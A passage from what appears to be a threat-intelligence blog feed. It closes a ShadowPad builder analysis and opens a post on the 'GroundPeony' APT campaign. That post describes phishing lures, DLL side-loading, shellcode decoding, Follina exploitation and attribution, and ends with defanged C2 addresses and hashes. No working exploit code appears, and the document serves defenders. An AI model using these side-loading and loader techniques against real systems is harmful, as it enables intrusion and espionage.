      <p>Positive Technologies, “Space Pirates: analyzing the tools and connections of a new hacker group”, https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/ <a href="#fnref:29" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:30" role="doc-endnote">
      <p>Kaspersky, “Attacks on industrial control systems using ShadowPad”, https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/ <a href="#fnref:30" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:31" role="doc-endnote">
      <p>ESET, “Worok: The big picture”, https://www.welivesecurity.com/2022/09/06/worok-big-picture/ <a href="#fnref:31" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:32" role="doc-endnote">
      <p>Elastic, “Update to the REF2924 intrusion set and related campaigns”, https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns <a href="#fnref:32" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:33" role="doc-endnote">
      <p>Symantec, “Lancefly: Group Uses Custom Backdoor to Target Orgs in Government, Aviation, Other Sectors”, https://symantec-enterprise-blogs.security.com/threat-intelligence/lancefly-merdoor-zxshell-custom-backdoor <a href="#fnref:33" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:34" role="doc-endnote">
      <p>TrendMicro, “Possible Supply-Chain Attack Targeting Pakistani Government Delivers Shadowpad”, https://www.trendmicro.com/en_us/research/23/g/supply-chain-attack-targeting-pakistani-government-delivers-shad.html <a href="#fnref:34" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:35" role="doc-endnote">
      <p>Recorded Future, “RedHotel: A Prolific, Chinese State-Sponsored Group Operating at a Global Scale”, https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf <a href="#fnref:35" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:36" role="doc-endnote">
      <p>Symantec, “Redfly: Espionage Actors Continue to Target Critical Infrastructure”, https://symantec-enterprise-blogs.security.com/threat-intelligence/critical-infrastructure-attacks <a href="#fnref:36" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:37" role="doc-endnote">
      <p>Palo Alto Networks, “Cyberespionage Attacks Against Southeast Asian Government Linked to Stately Taurus, Aka Mustang Panda”, https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/ <a href="#fnref:37" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:38" role="doc-endnote">
      <p>TrendMicro, “Earth Krahang Exploits Intergovernmental Trust to Launch Cross-Government Attacks”, https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html <a href="#fnref:38" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:39" role="doc-endnote">
      <p>United States Department of Justice, “Seven International Cyber Defendants, Including “Apt41” Actors, Charged In Connection With Computer Intrusion Campaigns Against More Than 100 Victims Globally”, https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer <a href="#fnref:39" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>nao_sec</name></author><summary type="html"><![CDATA[Introduction A few days ago, we came across a peculiar file. It looked like some kind of builder, and a quick glance at the settings piqued our interest. It appeared to be a ShadowPad builder, probably created around 2021. ShadowPad builders became a topic of conversation around the time of the i-Soon leak, but we had never seen the actual builder ourselves. This is likely true for most of you as well. We were so intrigued that we carefully investigated this builder and reviewed past attack campaigns. In this article, we will share how attackers build ShadowPad, what we discovered through our investigation, and our insights. Our investigation is still ongoing. We would love to engage in active discussions with you. If you have any opinions or comments, please feel free to contact us. [Note] What we discovered this time is a builder. It does not include a controller. Therefore, it is not possible to control what is generated by this builder. In other words, this builder alone is not meaningful in the real world. Background In June 2024, we happened to read a research memo from a year ago. We often read past memos for a change of pace. In doing so, we recalled an attack on Kyrgyzstan in April 2023. https://x.com/nao_sec/status/1648960199938707456 This attack involved a file resembling a RoyalRoad RTF, which prompted our investigation at the time. Opening this RTF file with a vulnerable version of Microsoft Word displayed a decoy file related to Kyrgyzstan’s cybersecurity, while simultaneously writing and executing several files to the disk. As a result, a CobaltStrike beacon was executed. The loader that decrypted and executed the beacon resembled Casper Loader. Casper Loader is familiar to threat researchers specializing in East Asia and has been reported to be used in attacks by Tick12. Our friend @aRtAGGI conducted similar analyses at the time. https://x.com/aRtAGGI/status/1649184131090087938 We later found that a similar attack had been carried out against Kazakhstan after searching our past database. The attack on Kazakhstan was older than the one on Kyrgyzstan, occurring around November 2022. In this case, the same loader executed from the RTF file eventually ran the CobaltStrike beacon. Information about the RTF files used in the attacks on Kyrgyzstan and Kazakhstan is listed in the IoC sheet from our previous research on RoyalRoad RTF34. We have identified these as U-4. If you are interested, please refer to the IoC sheet. https://nao-sec.org/jsac2020_ioc.html Let’s return to the present. To investigate recent attack samples, we executed a search query based on the characteristics of the loader used in the attack on Kyrgyzstan. exports:IEE2 exports:LoadLibraryShim2 exports:LoadStringRC2 We found an unusual file posted in May 2024. This data was embedded in the resource section of another file. We downloaded and executed the original file. To our surprise, it was a ShadowPad builder. CasperVMakerHTTPx86 MD5 eb99580e0d90ee61b3e2e3bd8715c633 SHA-1 706482eda6d747ca2688cdfd97399f800da9e73c SHA-256 b6d7c456423c871c7ffe418069a75c39055e4e3d023021c8b0885a02c7ce93c6 When launching the ShadowPad builder, which calls itself CasperVMakerHTTPx86, the following screen appears. There are several tabs, each with various settings. First Install Inject Online Proxy DNS These items are very similar to the reported architecture of ShadowPad5. This suggests that these tabs are configuration items for each module. The settings for each item are as follows: Let’s try building ShadowPad. By clicking the “Build EXE x86” button, ShadowPad is generated. If the build is successful, an EXE file and a DLL file are created. The EXE file is a legitimate AppLaunch. It loads the mscoree.dll in the same directory via DLL Side-Loading. The DLL file is the Casper Loader, which decodes and executes the ShadowPad shellcode stored internally. Comparison with Similar Samples ShadowPad loaders exhibit several patterns, but those generated using this builder are decoded using a custom XOR with constants. There are many samples with similar characteristics, but we will introduce two of them. Sample-1 According to Macnica’s report2, Tick uses Casper Loader to execute ShadowPad. Comparing this Casper Loader with the loader created using the builder reveals that while the Macnica sample contains junk code and different fixed values, the algorithm is the same. Sample-2 A report released by the FBI in December 20216 reported an attack exploiting CVE-2021-44515 where ShadowPad was used. The AppLaunch.exe and mscoree.dll in this case used Casper Loader to execute ShadowPad. Comparing this Casper Loader with the one created using the builder shows that the algorithm and fixed values are identical. Although API Hashing is not used, it is a highly similar sample. ShadowPad Community As you know, ShadowPad is commercial software sold for profit. According to SentinelOne’s report from 20215, ShadowPad is sold to various targeted attack groups, and there is speculation that whg and Rose are involved in its development. The i-Soon leak in February 2024 reported that i-Soon was selling software that appeared to be ShadowPad (including source code and training)7. As various researchers have reported256891011121314151617181920212223242526272829303132333435363738, many targeted attack groups use ShadowPad. These can be broadly categorized into two groups: attack groups associated with the MSS, like APT41, and those associated with the PLA, like Tick. As previously mentioned, it is generally believed that whg and Rose were involved in ShadowPad’s development. There is no compelling reason to refute this, so we will proceed with this assumption. According to a U.S. government report related to APT4139, Rose (Tan Dailin) was involved in APT41. Seven individuals were indicted for their involvement with APT41, with Rose (and Zhang Haoran) being particularly noted for their involvement in both BARIUM and LEAD, making them key figures in APT41’s activities. This background suggests that BARIUM was the earliest adopter of ShadowPad, followed by LEAD. In contrast, the PLA has many more attack groups using ShadowPad than the MSS. This is generally because many researchers have given them different names, and their relationships are not sufficiently organized. If you are a researcher, you probably have more organized information in your mind (or within your organization). Of course, we understand and accept this. However, to keep things simple, we will exclude such discussions in this article and share how we organized this information within nao_sec. Interestingly, all these attack groups used the RoyalRoad RTF Weaponizer. Is this just a coincidence? ShadowPad and RoyalRoad RTF Weaponizer may be shared through the same channels. Conclusion In this article, we introduced the ShadowPad builder. ShadowPad, widely used by various targeted attack groups as a successor to PlugX, had limited information available about its builder until now. This article sheds light on how attackers build ShadowPad. We also organized the relationships between attack groups using ShadowPad. Our research is still ongoing. We would love to engage in active discussions. If you have any opinions or comments, please contact us. We look forward to hearing from you. Acknowledgments We received a lot of help from our friends in writing this article. While we won’t name individuals here, we are immensely grateful to the many supportive reviewers. We want to take this opportunity to express our deepest gratitude to you. References TrendMicro, “Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data”, https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf &#8617; マクニカ, “標的型攻撃の実態と対策アプローチ 第5版 日本を狙うサイバーエスピオナージの動向 2020年度”, https://www.macnica.co.jp/business/security/manufacturers/files/mpressioncss_ta_report_2020_5.pdf &#8617; &#8617;2 &#8617;3 nao_sec, “An Overhead View of the Royal Road”, https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html &#8617; nao_sec, “Royal Road! Re:Dive”, https://nao-sec.org/2021/01/royal-road-redive.html &#8617; SentinelOne, “ShadowPad A Masterpiece of Privately Sold Malware in Chinese Espionage”, https://www.sentinelone.com/labs/shadowpad-a-masterpiece-of-privately-sold-malware-in-chinese-espionage/ &#8617; &#8617;2 &#8617;3 FBI, “APT Actors Exploiting Newly-Identified Zero Day in ManageEngine Desktop Central”, https://www.ic3.gov/Media/News/2021/211220.pdf &#8617; &#8617;2 HarfangLab, “A comprehensive analysis of I-Soon’s commercial offering”, https://harfanglab.io/en/insidethelab/isoon-leak-analysis/ &#8617; Kaspersky, “ShadowPad in corporate networks”, https://securelist.com/shadowpad-in-corporate-networks/81432/ &#8617; Kaspersky, “Operation ShadowHammer”, https://securelist.com/operation-shadowhammer/89992/ &#8617; ESET, “Connecting the dots: Exposing the arsenal and methods of the Winnti Group”, https://www.welivesecurity.com/2019/10/14/connecting-dots-exposing-arsenal-methods-winnti/ &#8617; ESET, “Winnti Group targeting universities in Hong Kong”, https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/ &#8617; マクニカ, “標的型攻撃の実態と対策アプローチ 第4版 日本を狙うサイバーエスピオナージの動向 2019年度下期”, https://www.macnica.co.jp/business/security/manufacturers/files/mpressioncss_ta_report_2019_4.pdf &#8617; PwC, “Around the world in 80 days 4.2bn packets”, https://www.youtube.com/watch?v=YCwyc6SctYs &#8617; CrowdStrike, “Manufacturing Industry in the Adversaries’ Crosshairs”, https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/ &#8617; Kaspersky, “APT trends report Q2 2020”, https://securelist.com/apt-trends-report-q2-2020/97937/ &#8617; Positive Technologies, “ShadowPad: new activity from the Winnti group”, https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf &#8617; Symantec, “APT41: Indictments Put Chinese Espionage Group in the Spotlight”, https://symantec-enterprise-blogs.security.com/threat-intelligence/apt41-indictments-china-espionage &#8617; Dr.Web, “Study of the ShadowPad APT backdoor and its relation to PlugX”, https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf &#8617; TrendMicro, “Earth Akhlut: Exploring the Tools, Tactics, and Procedures of an Advanced Threat Actor Operating a Large Infrastructure”, https://vblocalhost.com/uploads/VB2020-Lunghi-Horejsi.pdf &#8617; ESET, “Operation StealthyTrident: corporate software under attack”, https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ &#8617; Positive Technologies, “Higaisa or Winnti? APT41 backdoors, old and new”, https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/ &#8617; Recorded Future, “China-Linked Group RedEcho Targets the Indian Power Sector Amid Heightened Border Tensions”, https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf &#8617; Recorded Future, “Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling”, https://www.recordedfuture.com/blog/chinese-group-tag-22-targets-nepal-philippines-taiwan &#8617; TrendMicro, “Delving Deep: An Analysis of Earth Lusca’s Operations”, https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf &#8617; Secureworks, “ShadowPad Malware Analysis”, https://www.secureworks.com/research/shadowpad-malware-analysis &#8617; Recorded Future, “Continued Targeting of Indian Power Grid Assets by Chinese State-Sponsored Activity Group”, https://go.recordedfuture.com/hubfs/reports/ta-2022-0406.pdf &#8617; SentinelOne, “Moshen Dragon’s Triad-and-Error Approach Abusing Security Software to Sideload PlugX and ShadowPad”, https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/ &#8617; TeamT5, “The Next Gen PlugX - ShadowPad - A Dive into the Emerging China-Nexus Modular Trojan, Pangolin8RAT”, https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf &#8617; Positive Technologies, “Space Pirates: analyzing the tools and connections of a new hacker group”, https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/ &#8617; Kaspersky, “Attacks on industrial control systems using ShadowPad”, https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/ &#8617; ESET, “Worok: The big picture”, https://www.welivesecurity.com/2022/09/06/worok-big-picture/ &#8617; Elastic, “Update to the REF2924 intrusion set and related campaigns”, https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns &#8617; Symantec, “Lancefly: Group Uses Custom Backdoor to Target Orgs in Government, Aviation, Other Sectors”, https://symantec-enterprise-blogs.security.com/threat-intelligence/lancefly-merdoor-zxshell-custom-backdoor &#8617; TrendMicro, “Possible Supply-Chain Attack Targeting Pakistani Government Delivers Shadowpad”, https://www.trendmicro.com/en_us/research/23/g/supply-chain-attack-targeting-pakistani-government-delivers-shad.html &#8617; Recorded Future, “RedHotel: A Prolific, Chinese State-Sponsored Group Operating at a Global Scale”, https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf &#8617; Symantec, “Redfly: Espionage Actors Continue to Target Critical Infrastructure”, https://symantec-enterprise-blogs.security.com/threat-intelligence/critical-infrastructure-attacks &#8617; Palo Alto Networks, “Cyberespionage Attacks Against Southeast Asian Government Linked to Stately Taurus, Aka Mustang Panda”, https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/ &#8617; TrendMicro, “Earth Krahang Exploits Intergovernmental Trust to Launch Cross-Government Attacks”, https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html &#8617; United States Department of Justice, “Seven International Cyber Defendants, Including “Apt41” Actors, Charged In Connection With Computer Intrusion Campaigns Against More Than 100 Victims Globally”, https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer &#8617;]]></summary></entry><entry><title type="html">GroundPeony: Crawling with Malice</title><link href="http://nao-sec.org/2023/08/groundpeony-crawling-with-malice.html" rel="alternate" type="text/html" title="GroundPeony: Crawling with Malice" /><published>2023-08-22T03:00:00+00:00</published><updated>2023-08-22T03:00:00+00:00</updated><id>http://nao-sec.org/2023/08/groundpeony-crawling-with-malice</id><content type="html" xml:base="http://nao-sec.org/2023/08/groundpeony-crawling-with-malice.html"><![CDATA[<p><img src="https://nao-sec.org/assets/2023-08-22/top.png" alt="" /></p>

<p>This blog post is based on “GroundPeony: Crawling with Malice” that we presented at HITCON CMT 2023. We are grateful to HITCON for giving us the opportunity to present.</p>

<p><a href="https://hitcon.org/2023/CMT/en/agenda/e8fe6942-9c60-419a-b9a0-dbda80a27ad0/">https://hitcon.org/2023/CMT/en/agenda/e8fe6942-9c60-419a-b9a0-dbda80a27ad0/</a></p>

<p>Presentation material (PDF) is <a href="https://github.com/nao-sec/materials/blob/master/HITCON2023/GroundPeony_Crawling_with_Malice.pdf">here</a>.</p>

<h2 id="abstract">Abstract</h2>
<p>In March 2023, we discovered a cyber attack campaign targeting Taiwanese government agencies. The campaign employed devious tactics such as tampering with legitimate websites to distribute malware, using URL obfuscation, and employing multi-stage loaders. In this post, we will first provide an overview of this attack campaign and share the analysis results of the malware used. Through this, the reader will be able to understand the latest attack cases targeting Taiwan.</p>

<p>As a result of our investigation, we suspect that this attack campaign was orchestrated by a China-nexus attack group. We will discuss the specific evidence supporting this assumption, and trace back to past attack campaigns. Past campaigns include attacks that exploted the CVE-2022-30190, known as Follina, at the zero-day stage. These studies enable to understand attacker’s motivations and attack backgrounds.</p>

<p>This post will enable SOC analysts, IR team members, CSIRT personnel, and others to gain a deep understanding of the latest APT attack trends targeting East and South Asia including Taiwan that have never been reported so far, and to take concrete countermeasures.</p>

<h2 id="groundpeony">GroundPeony</h2>
<p>The name “GroundPeony” was created by us and is not generally known. Based on our reading of the few public reports, we believe they are identical or close to the group dubbed UNC3347<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> by Mandiant. Active since at least 2021, it targets government organizations in East and South Asia, specifically Taiwan and Nepal.</p>

<p>There are two points to note about this group. First, GroudPeony exploits zero-day vulnerability. Specifically, it was the earliest exploiting CVE-2022-30190, also known as Follina. Follina itself is not very complex vulnerability, but it is speculated that this group could develop or have access to a zero-day. This is very interesting. Second, GroundPeony compromised websites for malware distribution. In the past case, Nepal’s government website was compromised.</p>

<p>For these reasons, GroundPeony is considered to be an APT group with high attack skill and attack motivation.</p>

<h2 id="timeline">Timeline</h2>
<p>This is a quick look at GroundPeony’s attack timeline.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/timeline.png" alt="" /></p>

<p>The malware has existed on VirusTotal since around 2021. The oldest attack campaign we know is from April to June 2022. Around this time, Follina was exploited to attack Nepal, India, and other countries.</p>

<p>After that, we forgot about them for a while, but they started attacking again around March 2023. At this time, they attacked Taiwan and Nepal. In this post, we will deal with the case of April 2022 and March 2023.</p>

<h2 id="latest-attack-flow">Latest Attack Flow</h2>
<p>Let’s look at a specific case. The first is the attack on the Taiwanese government that occurred in March 2023.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/flow.png" alt="" /></p>

<p>The attack started from spear-phishing email. The email has a DOC file attached. And, a URL is written in the DOC file, and the ZIP file is downloaded by the URL. The ZIP file contains EXE file and DLL file. And executing them, infects malware.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/mail.png" alt="" /></p>

<p>The spear-phishing email looked like this. It is about discussions on maritime issues between Taiwan and the USA. This time, I put a mosaic in the image, but the destination was the Taiwanese government organication. Also, the source is cable TV company in Taiwan. Attached to the email is a DOC file with the file name “Regarding bilateral consultations with the USA”.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/doc.png" alt="" /></p>

<p>When open the attached DOC file, it looks like this. It pretends to have an error instead of something like a file name. It says to apply an update to resolve the error. The URL is written for the download of the update. When try to download the update file from this URL, it actually downloads ZIP file containing malware.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/url.png" alt="" /></p>

<p>The URL used at this time is very strange. At first glance, it may look like a legitimate Microsoft website. But, due to the structure of the URL, the original host information is Cuttly.</p>

<p>When access this URL, you will access to Cuttly. And it will redirect to ZIP file. At this time, the URL redirected from Cuttly was the website of a Taiwanese educational institution. But, this website was compromised, and a ZIP file containing malware was placed.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/zip.png" alt="" /></p>

<p>The ZIP file contains 2 EXE files, one TXT file, and one directory named “$RECYCLE.BIN” that looks like Windows trash box. There are 4 files in the $RECYCLE.BIN directory, all with the DOCX extension. But these are not DOCX files. They are actually malware.</p>

<p>By the way, did you notice that the update number written in the DOC file and the ZIP file are different? We don’t know if this was simply a mistake by the attacker or a remnant of another ongoing attack campaign.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/kb.png" alt="" /></p>

<h2 id="malware-analysis">Malware Analysis</h2>
<p>Let’s take a look at how malware is executed. First, there are 2 files with the EXE extension included in the ZIP file, 系統安全補丁.exe and Install.exe. But the behavior is the same.</p>

<p>When the EXE file is executed, the 4 files placed in $RECYCLE.BIN will be copied to the mic directory under the ProgramData directory. At this time, the names of the 4 files are also changed.
The 4 files are renamed to mic.exe, version.dll, mic.doc and mic.ver. And then, mic.exe is executed.</p>

<p>mic.exe is a legitimate file with a digital signature. But, it loads version.dll which exists in the same directory. When version.dll is executed by DLL Side-Loading, it loads and decrypts mic.doc. The decryption result is malware we call “micDown”</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/micdown.png" alt="" /></p>

<ol>
  <li>mic.exe
    <ul>
      <li>Legitimate EXE file with a digital signature</li>
    </ul>
  </li>
  <li>version.dll
    <ul>
      <li>DLL for Side-Loading</li>
      <li>Shellcode launcher for mic.doc</li>
    </ul>
  </li>
  <li>mic.doc
    <ul>
      <li>Shellcode downloader (micDown)</li>
    </ul>
  </li>
  <li>mic.ver
    <ul>
      <li>Config file for micDown</li>
    </ul>
  </li>
</ol>

<p>Decoding of version.dll process is in two steps. First version.dll decodes mic.doc and executes it as shellcode. The shellcode further decodes itself and continues execution.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/versiondll.png" alt="" /></p>

<p>The export function of version.dll is very simple. First, it reads mic.doc into the memory area allocated by VirtualAlloc with read, write, and execute permissions. Then, it decodes that data with a custom XOR algorithm that combines sub, xor add instructions. When decoding is complete, the process moves to the memory area where the decoded shellcode is located.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/dll1.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2023-08-22/dll2.png" alt="" /></p>

<p>The decoded shellcode uses the same custom XOR algorithm as before. The RtlDecompressBuffer is then used to decompress. The shellcode is decoded from the beginning of the file, excluding jump instruction.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/doc1.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2023-08-22/doc2.png" alt="" /></p>

<p>The decoded code executes the executable with the MZ header removed. It also decodes the data in mic.ver and uses it as a configuration. Finally, it downloads and executes the shellcode from the C&amp;C server, saved in the config.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/payload1.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2023-08-22/payload2.png" alt="" /></p>

<p>The shellcode is encoded with an algorithm similar to that of a previous file. It differs slightly from the file encoding algorithm in that the order of the add,sub,xor instruction is swapped.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/payload3.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2023-08-22/payload4.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2023-08-22/payload5.png" alt="" /></p>

<p>The encoded config consists of a 0x40 byte C&amp;C host area and a 0x2 byte port area. The IP address at this time was 103[.]199.17.184.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/ver1.png" alt="" /></p>

<p><img src="https://nao-sec.org/assets/2023-08-22/ver2.png" alt="" /></p>

<h2 id="related-file">Related File</h2>
<p>An attack similar to the Taiwanese attack we have previously described was also carried out in Nepal. Although the specific origin of the attack is unknown, a legitimate website was compromised and a ZIP file was installed, as was the case in Taiwan.</p>

<p>The legitimate website that was compromised was the Nepalese government’s COVID-19 vaccine-related website. For reference, China is known to have provided vaccines to Nepal as part of its One Belt, One Road partnership<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>. It is unclear what this has to do with the attacking campaing.</p>

<p>In the attack against Nepal, app.onedrivo[.] com was used as the C&amp;C server. The domain was taken using PublicDomainRegistry. More on this domain later.</p>

<p>In the attack against Nepal, the malware behaves the same way. When the EXE file is executed, it copies and renames the file and executes mic.exe. mic.exe sideloads version.dll. Then version.dll will read, decode and execute mic.doc. The malware executed was the same as the previous one, called micDown.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/flow2.png" alt="" /></p>

<h2 id="related-past-campaign">Related Past Campaign</h2>
<p>The C&amp;C server used in the previous attack on Nepal has been used in other attacks in the past. The attack on Nepal occurred in April 2022. At that time, this group exploited CVE-2022-30190, also known as Follina. Finally, the CobaltStrike beacon is executed. This domain was used as the server to download this CobaltStrike and as the C&amp;C server.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/past.png" alt="" /></p>

<p>The DOCX file that served as the decoy is a statement of accusation by a person claiming to be a student at Kathmandu University. We do not know the authenticity of this accusation.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/decoy.png" alt="" /></p>

<p>This DOCX file contains the external link settings. This will load the HTML file. The HTML file contains JavaScript code to change the location. The modified location is written with the scheme ms-msdt. This is the scheme for the Microsoft Support Diagnostic Tool. However,a bug existed in this that allowed PowerShell code to be executed. So, PowerShell code to be executed from a DOCX file.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/xml.png" alt="" /></p>

<p>The PowerShell code is downloaded, extracted and executed to a CAB file from the server.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/ps1.png" alt="" /></p>

<p>Inside the CAB file is an EXE file made by PyInstaller. This EXE is a downloader. And can be downloaded from onedrivo[.]com and run the CobaltStrike beacon.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/pyi.png" alt="" /></p>

<h2 id="attribution">Attribution</h2>
<p>Let us consider the attribution of this group. To begin with, it is important when this group was exploiting Follina. Follina was finally exploited by a very large number of APT groups. But that was after the details were made public. Here is the timeline.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/follina.png" alt="" /></p>

<p>The first time Follina became known to the public was through our tweets. We discovered the Follina sample against Belarus on May 27 and tweeted about it. Since then, detailed explanatory blogs have been published and PoCs have been released.</p>

<p>Going back earlier, a vulnerability was reported to Microsoft by the ShadowChasing group on April 12. However, Microsoft did not acknowledge it as a vulnerability at that time. The attack reported is also against Belarus.</p>

<p>Let’s go back further. In our research, we found samples from April 7 and 8. These are attacks against Nepal and India. We believe this is the earliest Follina sample. And these are the attacks by the group Mandiant calls UNC3347, which we call GroundPeony.</p>

<p>In other words, GroundPeony was exploiting Follina during a perfect zero-day period. Various organizations have written reports about Follina exploits, but China-nexus is the only group that has exploited Follina during zero-day periods. Therefore, we believe GroundPeony is the only China-nexus APT group with zero-day access.</p>

<p>Let’s look at another indicator. We analyzed an EXE file made by PyInstaller that is executed after the Follina exploit. The PyInstaller binary can easily decompile the Python code. The extracted file looked like this.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/python.png" alt="" /></p>

<p>A large amount of Chinese comments were written. Also, the code was copy-pasted from various public repositories, but most of it was written by Chinese developer. This is a very elementary mistake. However, it is highly likely that the person who created the malware is a native Chinese speaker.</p>

<p>We tried mapping the victim (or presumed to be). A very interesting diagram. What does this mean?</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/map.png" alt="" /></p>

<p>Based on our previous research, we have created a diamond model.</p>

<p><img src="https://nao-sec.org/assets/2023-08-22/diamond.png" alt="" /></p>

<p>GroundPeony, also known as UNC3347, is a China-nexus APT group. They have been active since at least 2021. They target East and South Asia like Taiwan and Nepal. In particular, they seem to be targeting government agencies, research institutions, and telecoms.</p>

<p>The attacks begin with spear phishing emails. They compromised legitimate websites and use them for their attacks. There was nothing unique about the IP addresses used, and no connection to the victim country could be found. GroundPeony also provides zero-day access. Besides popular tools such as CobaltStrike, they also use group’s original malware.</p>

<h2 id="wrap-up">Wrap-Up</h2>
<p>GroundPeony is an APT group of which little is known so far. It is believed to be China-nexus. It is targeting East and South Asian countries like Taiwan and Nepal. In particular, they seem to be targeting government agencies, research institutions, and telecoms.</p>

<p>One point worth noting is their use of zero-day. Follina was exploited in its early period. This group also compromised legitimate websites and install malware. GroundPeony is an aggressive APT group. Please keep an eye on their future developments.</p>

<h2 id="ioc">IoC</h2>
<ul>
  <li>103[.]199.17.184</li>
  <li>160[.]20.145.111</li>
  <li>172[.]93.189.239</li>
  <li>*.onedrivo[.]com</li>
  <li>1992b552bdaf93caeb470f94b4bf91e0157ba4a9bb92fb8430be946c0ddabdeb</li>
  <li>425630cc8be2a7dc2626ccd927bb45e5d40c1cb606bb5b2a7e8928df010af7c9</li>
  <li>fa6510a84929a0c49d91b3887189fca5a310129912d8e7d14fed062e9446af7e</li>
  <li>142a027d78c7ab5b425c2b849b347952196b03618e4ad74452dbe2ed4e3f73cd</li>
  <li>d1989ca12426ed368816ce00f08975dc1ff1e4f474592523c40f9af344a57b49</li>
  <li>6e13e5c7fcbafc47df259f2565efaed51bc1d021010c51673a7c455b5d4dad2b</li>
  <li>ef611e07e9d7e20ed3d215e4f407a7a7ca9f64308905c37e53df39f8a5bcbb3c</li>
  <li>7b814e43af86a84b9ad16d47f9c74da484ea69903ef0fbe40ec62ba123d83a9a</li>
  <li>f3e0a3dd3d97ccc23c4cee0fd9c247dbe79fbf39bc9ae9152d4676c96e46e483</li>
  <li>50182fca4c22c7dde7b8392ceb4c0fef67129f7dc386631e6db39dec73537705</li>
</ul>

<h2 id="references">References</h2>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>Mandiant, “Move, Patch, Get Out the Way: 2022 Zero-Day Exploitation Continues at an Elevated Pace”, https://www.mandiant.com/resources/blog/zero-days-exploited-2022 <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
